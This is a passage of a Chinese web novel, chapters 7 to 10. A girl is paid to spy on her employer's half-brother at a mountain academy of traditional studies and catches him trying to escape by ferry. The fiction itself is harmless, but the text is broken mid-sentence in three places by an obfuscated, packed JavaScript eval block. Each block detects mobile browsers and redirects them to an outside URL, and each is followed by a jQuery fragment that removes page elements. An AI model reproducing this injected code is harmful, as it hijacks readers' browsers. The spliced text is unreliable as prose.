江家显的电话打过来,“他明天就从禁闭室放出来了,你帮我盯着他。” 他指的是谁,不言而喻。 骆星:“怎么就放出来了?他想通了,不跑了?” “估计是。”江家显语气不明,“今天老魏下山前跟我说的,假不了。” “都不跑了还要我盯着?” “谁知道他会不会搞什么小动作,别又弄出什么事来。” 骆星擦掉唇边的牙膏沫,用冷水抹了把脸,“你当看犯人呢,我是不是还得每天写观察日志啊?” “也不是不行。” “你认真的?” 江家显不说话了。 骆星关掉水龙头,哗哗的白噪音消失,两边变得安静。她听见金属打火机拨动的声音,眼前似乎有蓝绿火焰蹭地蹿出。 过了几秒,骆星松口同意了,“可他跟我选的课应该不一样。” “你根据他的课表改课,我会安排好。”江家显说。 骆星嗤了一声,不知是气是笑。 “我不白干。” “多少钱一天都行。”江家显立即说。 “行,工资要日结。”骆星说。 有钱不赚王八蛋。 7. 监视 骆星根据江云宪选的课,拿到了新课表,她之前选择的书法和围棋课程内容没变,只是上课时间有所调整。 多了门养生课,每日站桩必不可少。 还有新增的传统陶艺学习。 骆星现在的时间排得更满,而且与江家显、裘柯错开,一天到晚不见人影,问就是忙,三人偶尔能在影音室碰面。 如此“忙活”两天,骆星不得不承认,江家显派了一件让她觉得简单、舒适、且日薪丰厚的差事。 她应付起来游刃有余。 观察,或者说是监视一个人,对骆星来说根本不算难事。 更何况从禁闭室出来的江云宪看上去已被成功规训,他循规蹈矩,每日按部就班地上课,完全接受且融入了国学馆的生活。 似乎几天前和江家显在泥地里打架、将骆星摁在棕榈垫上的人不是他。 骆星幽灵一样在他身边出没,混在普通同学堆里,游离在人群外的江云宪好像对此毫无察觉。 [江云宪观察日志(1)] 7月20日,多云转晴 8:00AM,围棋课,第三棋室 老师让学生自由选择一人对弈,大家在五分钟内先后找到搭档,江云宪在座位上没有动,棋室内另一名落单的女生余静主动走向他,两人组队成功。 他们没说什么话,交流很少。 老师走来走去,转到他们的棋盘前,逗留了不到两分钟。 棋局最后以江云宪胜出而结束。 中午在食堂二层,余静端着餐盘找到江云宪,犹豫地搭讪,询问联系方式,被江云宪以手机不在身边拒绝。 两分钟后,江云宪借走了余静的手机,在食堂门后的东南角打电话。 不知道打给谁。 大约五分钟后,他归还了手机。 此外整天无异常。 [江云宪观察日志(2)] 7月21日,晴 2:30PM,陶艺室 食堂阿姨们送来自制的清补凉,说清热祛湿效果好。汤里有龟苓膏、莲子、薏米、百合、红枣等,鲜椰汁清甜,撒了少许桂花干点缀。 要吃的人自己去门口拿,江云宪没去。 这次清补凉味道非常好,他没吃到很可惜。 说不定会后悔。 7:45PM,江云宪去医务室拿药。王医生不在,实习医生给他拿了云南白药喷雾剂,并请他品鉴新榨的苦瓜汁。 江云宪不吃清补凉,吃苦瓜汁。 由此可见,这人多少有点不正常。 [江云宪观察日志(3)] 7月23日,晴 6:50AM,今日晨跑经过落锁的西门,墙边多了批金桔树苗。中午生活老师号召大家一起去植树,江云宪报名参加。 该行为异常(平时他根本懒得动)。 有待继续观察。 …… 7月23的观察日志只写到一半,骆星的思绪就被面前的热闹打断了。 今晚国学馆请了人拍摄宣传片,热闹非凡。 骆星把纸笔揣回口袋,前方的两口破铁锅里燃着篝火,焚烧松柏枝,驱赶山中的蚊虫。 偌大的露天青砖地坪里,烟雾缭绕,四处弥漫着柏香。 月光皎洁,松林起伏如潮,篝火爆出几点星子,一切准备就绪。 拍摄团队架好器材,布好灯光。 重点拍武术班的镜头。 老魏嫌暑假班的小子们拳脚功夫磕碜,连马步都扎不稳,特地早几天联系好了专业团队,来的都是练家子,扮作国学馆学生。 今晚暑假班的学生们没有安排,可自由活动。大家纷纷围在边上凑热闹,免费看武术汇演。 场上刀枪棍棒全来一遍,能耍出花来。 骆星欣赏舞大刀,余光却没落下江云宪,他站在离她不到两米远的地方看表演,身边人头攒动。 要骆星说,如果要溜下山,逃出国学馆,今晚绝对是个千载难逢的好时机。 老魏和馆内几位骨干人员分身乏术,重心全在拍摄上。学生自由活动,到处乱窜,去哪儿都不显得奇怪,也没人会注意。 所以时间越往后推移,骆星盯江云宪越紧。 过程中江云宪变换了两次位置,一次同学找他有事,一次被老师使唤去搬柏枝,往铁锅里添柴火。 其余时间,他站在青砖地坪的石栏外看导演组拍摄,跟其他凑热闹的人没什么两样。 骆星跟他保持着不远不近的距离。 就算渴了,骆星也没走。 过了一会儿,听见认识的两个女生说要去食堂买清补凉,骆星托她们多带一碗。 吃到好吃的,踩着板凳看免费演出,骆星心情不错。 贴着裤兜的手机收到江家显的消息,他问她在哪儿。 骆星看到消息,好心情减半。她往回廊后走,找个角落回消息:“在青砖坪,少爷又有什么吩咐?” 江家显:“拿两桶泡面到阅览室来。” 众所周知,小厘山上没泡面,但裘柯带上山的行李箱里有,还有烟和打火机。 裘柯的语音消息也接着弹出来:“好阿星,东西都在我床底的行李箱里,行李箱密码857。” 骆星:“我要盯江云宪,没空。” 江家显:“就这么一会儿人丢不了。” 骆星:“真要丢了怎么办?” 江家显:“我负责。” 行吧,江家显拿自己做担保,骆星还能多说什么呢。 她囫囵吃完剩下的几口清补凉,把纸碗扔进垃圾桶,从回廊栏杆翻下去,往男生宿舍跑。 小道一侧竹林扶疏,吹来的松柏枝味道淡了,武术操练的声音和喧哗人声也被甩在身后,逐渐听不清。 骆星一路跑进男寝,到裘柯的宿舍拿到东西,还算顺利。 刚关上门,走廊上打赤膊出来扔垃圾的男生瞪大眼睛看着她,又看看她身后的男生宿舍,怀疑人生。 骆星抱着两桶泡面,竖起手指冲他比“嘘”,三步并作两步下楼。 国学馆的阅览室在小贰楼二楼东面,骆星踩着石阶,看了眼前面的小楼,没开灯,只有月光悬在高高的山脊上照明。 她刚走进一楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965867|161230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑漆漆的大门,江家显打电话来催:“怎么还不来?” “快了快了……” “等你好久了!” “我全程都在跑……”骆星解释,话音陡然降落,昏暗的楼梯拐角伸过一只大手捂住她的嘴。 所有声音被堵回喉咙里。 因为身高与体型的差距,对方压制住她,那一瞬间的惊骇让她瞳孔骤然睁大。 江云宪抽出她掌心的手机,看着屏幕上显示的“正在通话中,江家显”,摁下挂断键。 山中的老鸦盘旋着叫了两声,近在咫尺。 藏在骆星外套口袋中的打火机经过刚才江云宪狠狠一拽,已经摇摇欲坠,啪地掉落。 坚硬的金属壳磕在大理石地板上,发出脆响。 江云宪先骆星一步弯腰捡起来,他手指拨了下。 打火机擦出幽蓝的火焰,映出彼此的脸。 一个冷峻漠然,一个压抑着紧张。 骆星身后抵着白墙,逼近的火苗仿佛下一秒便会舔舐她此刻忍不住颤动的长睫,眼球有种被灼烧的幻痛。 江云宪借着幽微浮动的火光观察她。 骆星为了不露怯,同样回之以挑剔审视的目光。 江云宪是被诓进山的,随身物品除了一个书包,没别的东西,换洗衣服也没带。现在身上穿的是小厘山上提供的中式斜襟素衣,灰色亚麻面料,轻薄透气,衣摆堆起松松的褶皱。 长裤是同样的质地,脚上踩着一双靛蓝软底布鞋。 这副与世无争的打扮并没有削弱他五官上的凌厉。 此刻的江云宪不是蛰伏在人群中被观察的江云宪,他恢复了锋利的爪牙。 一截冷白的脖颈上,攀着蔓延的青筋,凸出的喉结滚了滚。 他离骆星很近,侧着身体,右颊上有火光扫出的凹陷阴影,下颌骨坚硬,眉峰上方有道还没有完全剥落的淡粉的痂,尤其惹眼。 那是骆星送饭那晚留下的指甲抓伤。 她跟他还没好好说过话,认识时间尚短,新仇旧怨结了一大堆。 骆星不小心,另一边口袋里的纸和笔也被他搜走。 江云宪举高了那三页纸,借月色和火光辨别字迹,毫无音调起伏:“江、云、宪、观、察、日、志,7月21日……” 上面有落款。 “观察人,骆星。” 听他波澜不惊念出自己的名字,让骆星心里一跳。 “观察我啊?”江云宪视线落在她身上,嘲讽地轻笑。 骆星没了反驳的必要。 “你想怎样?” 江云宪不说话,拿走了同样属于裘柯的烟盒。 他敲出一根烟来,叼着过滤嘴凑近火光点燃。略低头的一个动作,让骆星向后避了避。 烟圈散在两人眉眼间。 他衔着烟,头微仰,将手里的观察日志一页不落地逐字看完,“写给江家显看的?监视我也是因为他?” 逡巡在骆星脸上的目光充满挑衅,江云宪弹了下细长烟身,烟灰掉在骆星脚上,弄脏了她的鞋面。 他淡声问:“你是他的狗吗?” 8. 投壶 骆星一到阅览室,裘柯就迫不及待地接过她手里的东西,朝她抱怨:“你干嘛去了,怎么这么久……” 说着打开烟盒,发现不对劲。 他记得明明是盒新的,没动过。 “你偷我烟了?”他问骆星。 骆星:“我又不抽。” “那怎么少了一根?” “不知道啊。” 听骆星这么说,裘柯开始怀疑是不是自己记错了,也不再纠结,拆了桶泡面去饮水机前接热水。 自打进山以后,连泡面都变得美味起来。 书架后有张红木沙发,临近支开的木窗,窗沿上放了两盆清幽的兰花。江家显横躺在沙发里,双脚搭在扶手上晃荡,举着手机玩游戏,骆星过来,他也没个正眼瞧她,嫌她慢,还挂他电话。 骆星看了看江家显,把他要的那桶番茄味泡面扔给裘柯,“你帮他一块儿泡了吧。” “你干嘛去啊?”裘柯问。 “能干嘛,继续盯人呗。” “不至于看这么紧吧?男票都没这么盯的。” 现在裘柯也知道有江云宪这一号人物了,说话时不由去看江家显脸色。 骆星摆摆手再见,“我拿了钱的,事情当然要办好。” 听见这话,沙发上的雇主终于耐不住,腰腹使力从沙发上坐起,没忍住留人:“5V5竞技场,就差你了……” 可惜骆星走太快根本没听见他说话,江家显看着消失的背影暗骂了一句“艹”。 她尽职尽责替他办事,他却莫名感觉到憋屈。 裘柯吸溜吸溜吃面,说就差两罐啤酒。 “要不改天再让文思过来一趟送点东西?”他提议。 江家显冷笑,“天天使唤人跑腿使唤惯了?”全然忘了自己是怎么使唤人的。 裘柯心里骂他双标,但也听出他语气不快,嘿嘿笑两声掠过不再提,不去撞枪口。 江家显始终臭着一张脸,伸手将面前的窗户往外打得更开,不管几只蛾子飞扑进来。对面小楼飞檐翘角隐没在夜色中,他侧耳,偶尔能听见远处一两声武术汇演的动静。 手机震了下,耳机里传来文思的催促:“大少爷,下局什么时候开,游戏还玩不玩了? “不玩我直播卖货去了。” 状似抱怨的话,又带着隐秘的亲昵语气。 江家显:“不开了。” 文思那边安静片刻,尔后笑着试探问:“临时有事?” 江家显没事,但也不想再开游戏局,退了YY房间。他双手插兜就走,裘柯纳闷地喊:“面还没吃!” 江家显头也不回。 裘柯一人轻轻松松干完两桶泡面,倒回沙发里,双腿交叉搁在木茶几上。布艺典藏版的线装《水经注》用来垫脚,小纨绔还嫌硌脚踝,满室书香被泡面味儿侵占,他擦了把嘴,给王宁甫发消息。 “宁哥,江二的八卦听不听?” 王宁甫过了会儿才回:“他跟文思好了?” “那倒不是,是别的,更有意思。” 裘柯父亲搞餐饮发家,母亲与王家还能攀扯上一星半点的亲戚关系,这群人里他跟王宁甫走得更近,有什么都喜欢跟他说一嘴。 “小厘山上来了个人,江家的,可能是江二的弟弟,当然也可能是哥哥哈,反正是有血缘关系的兄弟没错。” 豪门私生子的事不稀奇,王宁甫见得多了。裘柯又说他们打架的事,王宁甫这才提起点兴趣,问谁打赢了。 “看不出,脸上都挂彩了,江二不肯详细说,我问多了他要翻脸的。” “阿星也参与了。”裘柯又说。 王宁甫的兴趣又多了两分:“那是稀奇。” “对吧,她平时挺能忍的,一般不跟人起冲突。”裘柯说,“说不定是为了给江二出气,表忠心呢。” “宁哥,你到底什么时候进山啊?” “过来多带点吃的,这边食堂吃的全是绿色健康食品,我都要被净化了……” * 替国学馆拍摄宣传片的团队第二天还有拍摄任务,夜里宿在山上。 骆星入睡前趴在枕头上看书法老师推荐的字帖,外面时不时响起一些模糊的动静。 过了会儿,摄影团队里的一个女生来敲门,披着湿漉漉的头发要借吹风机。 女生看上去也才二十出头的年纪,圆脸更加显小,有点话痨,还吹风机的时候给骆星抓了把蓝莓奶酪干,向她打听山里好不好玩,又问参加暑假班有什么要求,多少钱,她弟弟也想过来体验。 “在山脚下看见半山腰有座道观,好像在你们国学馆附近?好奇怪,进山又没看见了。” 两人吃着奶酪干闲聊。 “离得不远,从馆东门出去,沿着盘山公路一直往上走,半小时能到。” “不能抄小路吗?” “小路也有,不过外地人不熟悉,岔路口多,容易迷路。” 女生回忆傍晚路过看到的景色,“山脚那条大河叫什么?” “小葵花河。” “小厘山和小葵花河,好有意思。” 骆星告诉她:“下山的小路都通向小葵花河,要过河必须坐船,否则就只能走盘山公路。” 女生惊讶:“那艘停在岸边的乌篷船?” “对。” “看着好旧,我还以为是废弃的。” “确实年代挺久远的,船夫以前是开茶馆的,茶馆倒闭了之后他回乡摆渡,赚不了几个钱,好在政府每月有补贴。” 女生没想到骆星知道这么多,“你对这边很熟悉呀。” 骆星笑笑:“毕竟做功课了的。” 拍摄团队的人第二天在食堂吃过午饭才离开,借吹风机的女生走前又给了骆星一包水果糖。 骆星分给周边同学,依次发过去,剩下江云宪。她看他一眼,收回了手里的糖。 江云宪枕着手臂趴在桌上闭眼假寐,毫无察觉。 大家拖拖拉拉走了,去宿舍午休,骆星留在书法室临帖。偌大的空间里,只剩下她和江云宪。 午后炎热,窗外树荫浓郁,蝉鸣聒噪不已。 就这么相安无事地待了一个中午。 下午到点去上陶艺课,两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965868|161230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一前一后,还是同路,连一个眼神的交集也无。 江云宪像光明正大地给她观察,方便她写观察日志。 昨晚讥诮的冷笑还响在耳边,类似的话这几年骆星在学校也没少听,只要她常在江家显身边出没,便少不了风言风语: “她怎么老跟着江家显?” “不会是人女朋友吧?” “怎么可能,跑腿的狗罢了。” 听多了,耳朵对流言免疫,骆星没那么在意了,该干嘛干嘛。 今天陶艺老师明显状态不对,黑眼圈严重,精神萎靡不振,刚上课就一连接了好几个电话,后面直接说自己有点家务事要处理,让他们玩投壶。 说着随手从柜子里拿了个圆肚敞口瓶。 羽毛箭也有现成的。 不少人是头一回玩投壶,都兴致高昂,跃跃欲试。 而骆星只觉得那只摆在前方空地上的丑瓶子格外眼熟。 教室储物柜里累积了一堆瓶瓶罐罐,造型千奇百怪,个人风格鲜明,是以前在这里上过课的学生留下的作品。 骆星去年就选了陶艺,上过这门课。她上前拿起瓶子看了眼,确实是自己当初做的那只,瓶底有个小小的标记,刻了颗星星。 大家开始自发排队玩投壶,十根羽毛箭,能中一两支就算厉害。 骆星也试了试,比想象中难,力道不好掌控,投掷出去的箭不听使唤。 等这阵新鲜劲儿过了,不少人直接开溜,也有的留下继续揉泥拉胚,自己玩自己的。 排队投壶的人越来越少。 最后剩下江云宪一个,坚持不懈。 骆星坐在不远处听人聊八卦,余光里都是江云宪,看他不断投出羽毛箭。 从一支不中,到慢慢调整站姿,调整手上的控制力度和角度,投掷进瓶的几率越来越高。 门边唠嗑的两个同学也被这一幕吸引了注意,不自觉说话声音变小了。 所有目光都落在那道投壶的背影上。 江云宪身影稍向前倾,手上动作弧度不大,却听“噔”地一声,金属箭头磕在瓶身上。 一声。 两声。 完全失了先前的准头,全都不中。 骆星有种直觉,他故意的,箭头全磕在一个地方。 最后一根羽毛箭,江云宪抬起手臂,亚麻衣料下绷起薄薄的肌肉线条,随着动作回落,瓶身被过重的力道冲击,倒了。 羽毛箭飞出陶艺室的大门,砸在走廊的莲花柱础上。 离得最近的一个女生蹲下去查看,那瓶子本就潦草粗糙,受力猛然跌到坚硬的地砖上,裂了好几条缝。 江云宪从外面捡回羽毛箭,垂眸看了眼瓶身上的裂纹。 “碎了。”女生惋惜地说。 江云宪把十根羽毛箭放回原来的位置,声音漠然不在意:“扔了吧。” 那只骨节分明的手抓起破裂的瓶身,毫不犹豫,把它扔进黑色的垃圾袋里。 骆星卸了背脊的力道,有些懒散地靠着墙壁,若无其事地收回自己的目光。 扔了就扔了吧。 9. 烧烤 骆星收到江家显的消息:“王宁甫后天到,你有没有什么要帮忙带的?” 骆星想了想,回复两个字:“没有。” 正要切换掉聊天窗口,江家显又发过来: “阿星。” “?” “你在干嘛?” “看电影。” “什么电影?” “《怪物》。” “好看吗?” “还可以,在影音室没看完的,回宿舍拿手机看。” 挺无聊的一问一答,果然江家显开始发难:“阿星,你最近好冷淡啊。” 掺杂着撒娇抱怨的语气,他自己没发现,骆星却警觉,不知道大少爷又闹哪出,思来想去,猜他或许还是因为江云宪的事心情不好。 骆星写的那些观察日志,其实没有交给江家显,全压自己手里了。 她本来也没那么听话。 江家显想起时问一嘴,她便有点敷衍说看着呢,人没跑。 工钱还是照拿,她不干吃亏的事。 骆星神思飘忽,过了会儿才发现手机里已然消停,刚才还一条接一条发消息的江家显没了动静。 骆星点开鲸鱼直播APP,关注列表里显示文思正在直播中…… 今天没卖货,开的游戏直播。 刚上线两分三十五秒。 这局游戏正在匹配中…… 界面上,与她双排的队友ID骆星再熟悉不过,是江家显。 骆星竟松了口气,彻底叉掉聊天窗口,接着看电影。 * 两天后,姗姗来迟的王宁甫一行人上了山。 老魏和馆长亲自去接待,阵仗闹得挺大,东门外停驻的豪车引发了小范围的讨论。 门口,处于人群漩涡中心的王宁甫耐着性子等他妈妈叮嘱完,由着他们大人去社交,自己推着行李箱往里走。 他妈不放心地扬声道:“照顾好你表妹!” 王宁甫回头看了看身后的夏榆,两个保镖随行,一个替她撑伞挡太阳,一个帮她大包小包拎东西。 不知道的还以为她来度假的。 王宁甫笑得敷衍散漫:“哪轮得上我照顾。” 夏榆一听这话立即瘪嘴,茶棕色的猫眼墨镜下一双眼睛流露出委屈神色,不待她发难,王宁甫截断了话茬,“赶紧走吧,再晒你妆花了。” “胡说,我用的粉底防水防汗不脱妆。”夏榆嘴硬,脚下的小碎步迈得快了点。 王宁甫进宿舍安顿好,江家显和裘柯也来了,将他带来的烟酒零食迅速瓜分,如山匪扫荡。 王宁甫站在空调出风口,拎起衣领吹风,问:“怎么没看见阿星?” “这是男寝。”江家显说。 王宁甫:“她又不是没进过男寝。” 几人不约而同想到初二寒假参加冬令营,骆星深夜冒雪给江家显送生日蛋糕,翻墙进的男寝。 王宁甫回想:“那会儿她还是短头发对吧?剃得就比板寸长一点,又瘦,像小男生。” 江家显被他这么一提,思绪陷入的回忆里。 宿舍就一张椅子,被江家显占了,裘柯走到床边,屁股刚要沾上床单,被王宁甫踹开,“老子刚铺的床。” 裘柯拍拍裤子,自证清白,“宁哥,我是干净的。” 王宁甫让他滚蛋,说着从箱底翻出两本包装完好的杂志,“给阿星发消息让她过来,就说哥哥给她带了好东西。” “真叫不动。” 裘柯示意他看正在玩手机的江家显,江家显头也不抬,扯着嘴角讥诮地笑了笑,“看我也没用,她现在忙着呢,都不怎么搭理我。” * 女生宿舍内,骆星刚冲完澡,带着一身湿漉的水汽站在门口擦头,目睹生活老师和两个身材魁梧穿西服的男人提着粉色行李箱越走越近。 夏榆穿着米白花苞吊带衫,搭苋红色超短裙,露一截细腰,边走边跟生活老师搭话:“老师,还有单人寝吧?我不习惯跟别人一起住……” 生活老师说二楼还剩一间,临近楼梯间。 “啊?”夏榆说,“靠近楼梯会很吵欸。” “四人寝还有空床铺。”生活老师立即说,“房间大,四个人住着也不挤,我们这边住宿条件很好的。” 夏榆完全不考虑,只说:“能不能找到单人寝的同学跟我换呀?” 生活老师露出为难的表情。 夏榆正要说她可以出钱买,突然与骆星对上了视线。 骆星擦着凌乱的长发,上下嘴唇一碰,面无表情机械地说:“嗨。” 夏榆不自觉地微仰起头,推了推墨镜,无视了这声招呼,奢牌小羊皮手提袋上的白珍珠碰撞出清灵脆响,连背影都透着骄傲。 骆星顶着毛巾坐回床边,从薄被底下抽出始终保持静音的手机,一看,群里消息快要挤出屏幕。 果然是因为王宁甫到了。 骆星点开王宁甫的头像,面前不自觉浮现他那张笑眯眯的脸。 夏榆跟他,这兄妹俩,一个像孔雀,一个像狐狸。 算上凭空冒出来的江云宪,今年夏天的小厘山可真热闹。 * 王宁甫财大气粗地请整座国学馆的师生吃饭,他妈妈差管家送烧烤工具和新鲜食材进山,海鲜果蔬肉类应有尽有,国学馆内掀起狂欢,开趴一样热闹。 老魏睁一只眼闭一只眼,没说什么。 骆星本来在外围,和两个一起上书法课的同学忙着给肉串刷油和酱,裘柯叫了她几次,她不好再装听不见,跟着裘柯走了过去。 即便这么多人同在烧烤,也不知不觉中分了阵营,大家其实都有自己的圈子,围聚成许多形状不规则的圆。 最中心的、最受人瞩目的那个圆,始终由王宁甫江家显他们几个构成,从四年前骆星来洛京时起,便是这样。 烤全羊要技术,耗时久,送进山来的已经是厨子提前烤好的。王宁甫用刀切了一块羊腿肉放盘子里,递给骆星。 骆星打开一把户外折叠椅,坐下吃肉。 “味道还行吗?”王宁甫问。 骆星边吃边点头,“好吃。” “怎么没见你在群里说话?”王宁甫带着手套,熟练地分肉,边跟她聊天,“小厘山课业这么重吗?” 骆星含糊地“嗯”了一声。 王宁甫挺有耐心地追问:“都忙些什么呢?” 骆星静了两秒,她左边的江家显将椅子扯过来,坐得近了点,用脚尖磕了磕她的鞋面,“给我拿点吃的。” 他自己站起来伸手就能够到的距离,偏要人伺候。 骆星问他要什么,江家显报了一长串菜名,骆星给他拿的食物堆满了两个餐盘,但他挑挑拣拣,吃得并不多。 “宁哥,”裘柯戴了顶草帽在烧烤架前转悠,问王宁甫:“夏榆怎么还不来,别待会儿又说我们没等她。” 王宁甫说:“不用管她。” 风从骆星的对面吹来,除了烤肉味,突然多了股甜蜜的花香。夏榆从对面走过来,甩了甩半干半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965869|161230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿的长发。 四处烟熏火燎,味儿很重,她闻了闻,皱起小巧的鼻尖,“澡白洗了,头发也白洗了。” “哥,”夏榆软着语气叫王宁甫,不由撒娇,“长头发洗一次好麻烦的,我能不能打电话叫艾米过来?” 艾米是经常接待夏榆的美发洗护师。 王宁甫翻动烧烤架上的青椒,面上挂着笑,看似好脾气,“你不怕折腾也可以,有事别找我就行,她进得来算你本事。” 夏榆嘴一瘪。 裘柯适时站出来打圆场缓和气氛,问夏榆:“渴了没,要不要喝水?” 正在往一次性纸杯里倒橙汁的骆星手上动作顿了顿,她自己端走了一杯,剩下的留在简易餐台上,要喝的人自己拿。 骆星吃完王宁甫盛的烤肉,盘子里还剩几个小番茄,胃里实在装不下。她放下竹筷,一低头,胸前衣服上落了两三点酱汁,洇开油印。 “跟个小孩一样。”江家显不知什么时候收起了手机,笑话她。 说着一连扯了七八张纸巾塞过去。 骆星随意擦了擦衣服,又擦了擦手。她起身,“我吃饱了。” “吃饱了就走?”江家显说。 骆星的眼神好像在说:那不然呢? 江家显一噎。 骆星没等到他下文,抬手接住王宁甫扔过来的金黄橘子,边剥橘子皮边走了。 骆星已经很撑,散步消食,在不同的烧烤架间穿梭,橘子掰成两半,随手给了认识的同学。 过了一会儿,那种撑到想吐的感觉并没有缓解,骆星改道去了医务室。 大概跟小时候的生活经历有关,她的饮食习惯不太好,怕晚上饿,晚饭吃得尤其多,吃饱了也不肯停筷子。 后来她有慢慢在改,但许多时候一个不留神就故态复萌。 王医生和实习医生都不在,骆星坐在椅子上等,没多久又站起来靠着墙。 她等了很久,还是去洗手间吐了。 王医生回来,熟练地给她开药,交待说:“千万别再暴饮暴食,晚饭少吃点。” 骆星就着温开水吞下药丸,靠着椅背闭目养神。 王医生把悬挂在墙壁上的电视机打开了,晚间新闻播报的声音回荡在安静的室内。骆星闻到苦艾香,让她精神逐渐放松,不知不觉中进入浅睡眠状态。 十多分钟后。 她一个激灵,如同被噩梦猝然惊醒,没任何预兆地睁开眼睛。 坐在柜台后清理药材的王医生只见她突然坐起身体,等不及问,骆星已经朝外走了。 她步子迈得又快又急,重新冲入茫茫人群。 热闹的集体BBQ还未彻底结束,大家吃饱喝足之后有许多话可聊,有许多游戏可玩,很少有离场的人。 朦朦天光尚未完全熄灭,头顶的天穹像一块巨大无垠的靛蓝葛布,印着泛起毛边的月亮。 骆星在人群里找了一圈又一圈,没有看见江云宪。 脑子里走马灯似的一帧帧慢放,记忆里最近一次看见江云宪是在众人搬运烧烤架的时候,他也在帮忙。 再然后,骆星倏然记不清。 是她疏忽了。 这几天下来,她甚至以为江云宪想通了,打算留在小厘山。事实证明,他只是在等待更好的时机行动。 骆星隔着人群远远望了眼,江家显和王宁甫几个在玩扑克牌。她决定先不说,独自朝西门的方向去。 走到半路,骆星的手机屏幕亮起。 一个号码打了进来。 10.夜逃 横亘在江云宪面前的是一条河。 他沿着小路下山,到这里便被河水拦住。 跟从食堂阿姨那里打听到的一样,抄近路必须渡河,小葵花河。否则只能沿着盘山公路,走大道。 江云宪只能选前者。 宽阔的黑色河面被山风吹动,荡起层层涟漪。 河边有艘破旧的乌篷船,缆绳的一端绑在粗壮的榕树桩上。船舱里亮着昏黄的灯,有絮絮的听不真切的说话声。 一个老人和一个中年男人,抽着烟正说话。老人手边还搁着敞开的饭盒,饭菜吃得精光。 江云宪在辛辣呛人的草烟白雾里靠近,问能不能过河。 老人扬起声音回应,说可以。 江云宪问好价钱,登船坐好。 老人要他稍等,下船去小解。 中年男人收拾好空饭盒,从手边的塑料袋里扒出许多零碎的物件,卷烟纸、几包碎饼干、创口贴、胶布、打火机,杂七杂八什么都有,最后掏出的两贴膏药,等老人回来给他贴上。 江云宪能勉强听懂他们说的方言,这两人应该是父子。 老人撩起衣服,露出枯瘦的后背。 中年男人用剪刀把手里的膏药边缘剪出几个小口,刺啦,刺啦,撕成好几条,替老人贴在各个部位。 老人唉哟唉哟叫唤,一脸忍痛,说老腰废了,又回过头赔笑,又让江云宪稍等。 江云宪不好再催。 老人勾着背,含在嘴里的烟还在烧。他相貌生得和蔼,像老家街头随处可见的熟面孔,只不过皮肤更加黝黑粗糙。 他跟江云宪搭话,问他是不是国学馆的,他们本地人都知道大名鼎鼎的国学馆。 江云宪否认,佯装成前来观光赏景的游客,说没搭上朋友的顺风车,自己走小路下山。 老人告诉他过河之后怎么走,公交车站在哪个方位,车多少分钟一趟,几点末班车,如果拦出租到城区大概又是什么价,说得十分详细且周到。 似乎怕江云宪被骗,翻来覆去地交待。 江云宪望着河对面茂密的杨柳,偶尔有汽车疾驰而过,车灯如同黑色海面上遥远的探照灯,一闪而逝。 他其实很急。 内心焦急到暗自调整呼吸频率,面上还是一片泰然,不动声色。 他离开前脱掉了国学馆的素衣布鞋,穿的是自己的衣服,和进山那天一样的穿着打扮,只是肩上少了一个书包,被收走的手机和证件等私人物品始终没有机会拿回来。 身上仅有两百元现金,还是跟同学借的。 可他必须想尽办法,回述洲一趟。 没有人懂一枚棋子被抛出棋盘时的惶惑。前十七年的人生里,江云宪坐在喜糖街的卷闸门下曾设想过无数次,自己高考之后要离开述洲,离开所谓的家。 但江筝比他更早更决然地做出了选择,他被一脚踢开,像一团亟需处理的垃圾一样被扔进小厘山,被潦草处理。 没有人给他任何交代,只留给他理不清的繁乱线团。 江云宪表情冷漠而麻木地看着倒映在河面的影子,在等待老人贴膏药和漫长的叙话里察觉到不对劲,疑窦滋生。 中年男人已经拎着饭盒回家,老人终于肯去树桩解缰绳,江云宪的眼睛注视着老人稍显缓慢拖延的动作,随即,林中小径上传来了匆忙的脚步声。 有人跑了过来。 江云宪看到了骆星。 她举着手电筒,像警察深夜抓捕潜逃的罪犯,把手电筒的光扬到江云宪脸上。 光束强烈而刺眼,江云宪被迫偏过头,眉峰皱起。 摆渡的老人依旧面目和善,浑浊的眼睛里没有丝毫心虚。 他趁下船小解时打电话给骆星通风报信,如今当面收了骆星的钱,还冲江云宪嘿嘿笑两声,弯腰钻进船舱中,抽烟时哼着愉悦的山歌小调。 骆星把手里剩下的现金揣进兜里,她刚跑得太急,太累,如今得到片刻喘息,靠着榕树桩休息。 视线却片刻不离江云宪。 江云宪的衣服上沾染了草烟的苦意,隐在夜色里的身形单薄料峭,像一柄开刃的剑,让骆星不由自主想到禁闭室的那次动手,脸侧的皮肤隐有余痛。 自认识以来,他们总在对峙,仿佛天生在不同阵营,注定只能做敌人。 